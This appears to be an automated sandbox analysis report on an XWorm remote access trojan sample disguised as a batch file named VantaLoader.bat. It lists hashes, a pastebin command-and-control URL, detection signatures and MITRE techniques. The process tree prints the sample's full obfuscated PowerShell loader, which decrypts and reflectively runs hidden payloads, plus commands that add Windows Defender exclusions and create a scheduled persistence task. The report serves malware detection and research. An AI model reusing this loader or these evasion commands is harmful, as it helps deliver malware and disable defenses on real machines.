xworm | 3acf3a6cf0e3b5a83e56b562becffdae8ae5c91d0b33d333b191e248e8b1310d

Analysis

max time kernel
260s
max time network
262s
platform
windows11-21h2_x64
resource
win11-20240419-en
resource tags

arch:x64arch:x86image:win11-20240419-enlocale:en-usos:windows11-21h2-x64system
submitted
30/04/2024, 16:14

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

Vanta/VantaLoader.bat
Size

102KB
MD5

ab0f515c8964c240e4360f2da7fde50d
SHA1

13dccd2340cce1e4ca961888b96eb034d5faf1d0
SHA256

4757b8de068c022b45332910210f40c01fa731fc9eab2da0f403f31f5e22dd76
SHA512

d4410546ed30154c7b980a68925d9c9f45b52fd260603f1d6539777cf80233f9bcd5b9c340c52405259d28e9d20b81ad1c1d46c0c34eb4c6cb97cab5399be8f1
SSDEEP

3072:mEH8dKtLuent7vprpnYFVMolbvoMeSQcISltvp6:mEHgqbn5VpnybscISC

Score

10^/10

xworm rat trojan

Malware Config

Extracted

Family

xworm

Attributes

Install_directory
%ProgramData%
install_file
dwm.exe
pastebin_url
https://pastebin.com/raw/dkjTMnwm

Signatures

Detect Xworm Payload 1 IoCs

resource	yara_rule
behavioral3/memory/3412-14-0x000001476A140000-0x000001476A15C000-memory.dmp	family_xworm

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm

Blocklisted process makes network request 3 IoCs

flow	pid	Process
2	3412	powershell.exe
4	3412	powershell.exe
5	3412	powershell.exe

Executes dropped EXE 1 IoCs

pid	Process
3052	dwm.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
1	pastebin.com
4	pastebin.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
1	ip-api.com

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
884	schtasks.exe

Runs net.exe

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
3412	powershell.exe

Suspicious behavior: EnumeratesProcesses 53 IoCs

pid	Process
3412	powershell.exe
3412	powershell.exe
3080	powershell.exe
3080	powershell.exe
2924	powershell.exe
2924	powershell.exe
2644	powershell.exe
2644	powershell.exe
2112	powershell.exe
2112	powershell.exe
3412	powershell.exe
3052	dwm.exe
3052	dwm.exe
3412	powershell.exe
3412	powershell.exe
3412	powershell.exe
3412	powershell.exe
3412	powershell.exe
3412	powershell.exe
3412	powershell.exe
3412	powershell.exe
3412	powershell.exe
3412	powershell.exe
3412	powershell.exe
3412	powershell.exe
3412	powershell.exe
3412	powershell.exe
3412	powershell.exe
3412	powershell.exe
3412	powershell.exe
3412	powershell.exe
3412	powershell.exe
3412	powershell.exe
3412	powershell.exe
3412	powershell.exe
3412	powershell.exe
3412	powershell.exe
3412	powershell.exe
3412	powershell.exe
3412	powershell.exe
3412	powershell.exe
3412	powershell.exe
3412	powershell.exe
3412	powershell.exe
3412	powershell.exe
3412	powershell.exe
3412	powershell.exe
3412	powershell.exe
3412	powershell.exe
3412	powershell.exe
3412	powershell.exe
3412	powershell.exe
3412	powershell.exe

Suspicious use of AdjustPrivilegeToken 7 IoCs

description	pid	Process
Token: SeDebugPrivilege	3412	powershell.exe
Token: SeDebugPrivilege	3080	powershell.exe
Token: SeDebugPrivilege	2924	powershell.exe
Token: SeDebugPrivilege	2644	powershell.exe
Token: SeDebugPrivilege	2112	powershell.exe
Token: SeDebugPrivilege	3412	powershell.exe
Token: SeDebugPrivilege	3052	dwm.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
3412	powershell.exe

Suspicious use of WriteProcessMemory 16 IoCs

description	pid	Process	procid_target
PID 3296 wrote to memory of 3044	3296	cmd.exe	79
PID 3296 wrote to memory of 3044	3296	cmd.exe	79
PID 3044 wrote to memory of 2752	3044	net.exe	80
PID 3044 wrote to memory of 2752	3044	net.exe	80
PID 3296 wrote to memory of 3412	3296	cmd.exe	82
PID 3296 wrote to memory of 3412	3296	cmd.exe	82
PID 3412 wrote to memory of 3080	3412	powershell.exe	84
PID 3412 wrote to memory of 3080	3412	powershell.exe	84
PID 3412 wrote to memory of 2924	3412	powershell.exe	86
PID 3412 wrote to memory of 2924	3412	powershell.exe	86
PID 3412 wrote to memory of 2644	3412	powershell.exe	88
PID 3412 wrote to memory of 2644	3412	powershell.exe	88
PID 3412 wrote to memory of 2112	3412	powershell.exe	90
PID 3412 wrote to memory of 2112	3412	powershell.exe	90
PID 3412 wrote to memory of 884	3412	powershell.exe	92
PID 3412 wrote to memory of 884	3412	powershell.exe	92

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Vanta\VantaLoader.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:3296
- C:\Windows\system32\net.exe
  net file
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3044
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 file
    3⤵
    PID:2752
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Jewt/g5Wddw+KDaLLjfx4KTl4MmIMFtmd1VwUEtroLo='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('9eJ5pfRF05USNYeAy944uw=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $WFqIg=New-Object System.IO.MemoryStream(,$param_var); $Zkurs=New-Object System.IO.MemoryStream; $wWyit=New-Object System.IO.Compression.GZipStream($WFqIg, [IO.Compression.CompressionMode]::Decompress); $wWyit.CopyTo($Zkurs); $wWyit.Dispose(); $WFqIg.Dispose(); $Zkurs.Dispose(); $Zkurs.ToArray();}function execute_function($param_var,$param2_var){ $kFvLt=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $HgOpb=$kFvLt.EntryPoint; $HgOpb.Invoke($null, $param2_var);}$yuVbv = 'C:\Users\Admin\AppData\Local\Temp\Vanta\VantaLoader.bat';$host.UI.RawUI.WindowTitle = $yuVbv;$Jrayu=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($yuVbv).Split([Environment]::NewLine);foreach ($aAWUq in $Jrayu) { if ($aAWUq.StartsWith(':: ')) { $QKkyF=$aAWUq.Substring(3); break; }}$payloads_var=[string[]]$QKkyF.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: AddClipboardFormatListener
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:3412
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe'
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3080
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'powershell.exe'
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2924
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\ProgramData\dwm.exe'
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2644
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'dwm.exe'
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2112
- - C:\Windows\System32\schtasks.exe
    "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "dwm" /tr "C:\ProgramData\dwm.exe"
    3⤵
    - Creates scheduled task(s)
    PID:884

C:\ProgramData\dwm.exe
C:\ProgramData\dwm.exe
1⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3052

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Persistence

Scheduled Task/Job

T1053

Privilege Escalation

Scheduled Task/Job

T1053

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\ProgramData\dwm.exe

Filesize
440KB

MD5
0e9ccd796e251916133392539572a374

SHA1
eee0b7e9fdb295ea97c5f2e7c7ba3ac7f4085204

SHA256
c7d4e119149a7150b7101a4bd9fffbf659fba76d058f7bf6cc73c99fb36e8221

SHA512
e15c3696e2c96874242d3b0731ce0c790387ccce9a83a19634aed4d1efef72ce8b8fa683069950d652b16cd8d5e9daae9910df6d0a75cb74fdbe90ae5186765d

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
627073ee3ca9676911bee35548eff2b8

SHA1
4c4b68c65e2cab9864b51167d710aa29ebdcff2e

SHA256
85b280a39fc31ba1e15fb06102a05b8405ff3b82feb181d4170f04e466dd647c

SHA512
3c5f6c03e253b83c57e8d6f0334187dbdcdf4fa549eecd36cbc1322dca6d3ca891dc6a019c49ec2eafb88f82d0434299c31e4dfaab123acb42e0546218f311fb

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
1a9fa92a4f2e2ec9e244d43a6a4f8fb9

SHA1
9910190edfaccece1dfcc1d92e357772f5dae8f7

SHA256
0ee052d5333fd5fd86bc84856fec98e045f077a7ac8051651bf7c521b9706888

SHA512
5d2361476fa22200e6f83883efe7dcb8c3fe7dae8d56e04e28a36e9ae1270c327b6aa161d92b239593da7661289d002c574446ecfd6bd19928209aae25e3ef64

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
050567a067ffea4eb40fe2eefebdc1ee

SHA1
6e1fb2c7a7976e0724c532449e97722787a00fec

SHA256
3952d5b543e5cb0cb84014f4ad9f5f1b7166f592d28640cbc3d914d0e6f41d2e

SHA512
341ad71ef7e850b10e229666312e4bca87a0ed9fe25ba4b0ab65661d5a0efa855db0592153106da07134d8fc2c6c0e44709bf38183c9a574a1fa543189971259

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
856900844f6f1c326c89d0bcfb2f0c28

SHA1
1caad440d46fa8c0cbed4822b4be2bbdddba97c2

SHA256
ae24414ec53b3ae43ddbf1ff7b6643f8bf45281406f6415742f4305360d70a32

SHA512
ed8f421e151d797b33440dd0ddb6d6a5ec93fe7806ad82c60af3f77d545cf5dc319bce67804bd0613bb551a3f01648ec0d1918805dc7342145c8bb23ad12cab4

Download Submit
C:\Users\Admin\AppData\Local\Temp\Log.tmp

Filesize
163B

MD5
2e6fa6b8e4b6679be77b002b2150b16c

SHA1
907fc67672ba88305e1ada162e6f49c2f0234db9

SHA256
e82e1865f590f4eac1ed520881a89874b493b3f483f4245552b4cfe14f322e70

SHA512
8d0885e7fdaa7f7a60a43a899a233f43d6b8011ccb089c954e18305033512ae731b55c27491038780343cb613c8ae4d2b9872e7ab1fd40621e9e271723b5ef9b

Download Submit
C:\Users\Admin\AppData\Local\Temp\Log.tmp

Filesize
274B

MD5
8b5819d7fed70fd058e6c78920847865

SHA1
a8ac058927513bf49f0e9799f091580a3be82c77

SHA256
44ddcda3b6eee2eb52b153c6a054ad7a79f5589de342217851f72264c900cc0d

SHA512
4fc3781753961b5fd5d25b637fe88f4b4ae4f84a429f1bf844c69690312c70f20494efd746cb320d2d00b221c552208fddcd21b611525b473d258cae0111bf23

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_5bjfl0ej.wnt.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/3052-75-0x00000241ECFB0000-0x00000241ECFF6000-memory.dmp

Filesize
280KB

Download
memory/3080-17-0x000001B32D150000-0x000001B32D160000-memory.dmp

Filesize
64KB

Download
memory/3080-16-0x000001B32D150000-0x000001B32D160000-memory.dmp

Filesize
64KB

Download
memory/3080-28-0x00007FFBD5150000-0x00007FFBD5C12000-memory.dmp

Filesize
10.8MB

Download
memory/3080-15-0x00007FFBD5150000-0x00007FFBD5C12000-memory.dmp

Filesize
10.8MB

Download
memory/3412-13-0x000001476A130000-0x000001476A144000-memory.dmp

Filesize
80KB

Download
memory/3412-14-0x000001476A140000-0x000001476A15C000-memory.dmp

Filesize
112KB

Download
memory/3412-12-0x000001476A090000-0x000001476A098000-memory.dmp

Filesize
32KB

Download
memory/3412-61-0x00007FFBD5150000-0x00007FFBD5C12000-memory.dmp

Filesize
10.8MB

Download
memory/3412-62-0x000001476A060000-0x000001476A070000-memory.dmp

Filesize
64KB

Download
memory/3412-63-0x000001476A060000-0x000001476A070000-memory.dmp

Filesize
64KB

Download
memory/3412-64-0x000001476A060000-0x000001476A070000-memory.dmp

Filesize
64KB

Download
memory/3412-11-0x000001476A060000-0x000001476A070000-memory.dmp

Filesize
64KB

Download
memory/3412-10-0x000001476A060000-0x000001476A070000-memory.dmp

Filesize
64KB

Download
memory/3412-9-0x00007FFBD5150000-0x00007FFBD5C12000-memory.dmp

Filesize
10.8MB

Download
memory/3412-8-0x000001476A0A0000-0x000001476A0C2000-memory.dmp

Filesize
136KB

Download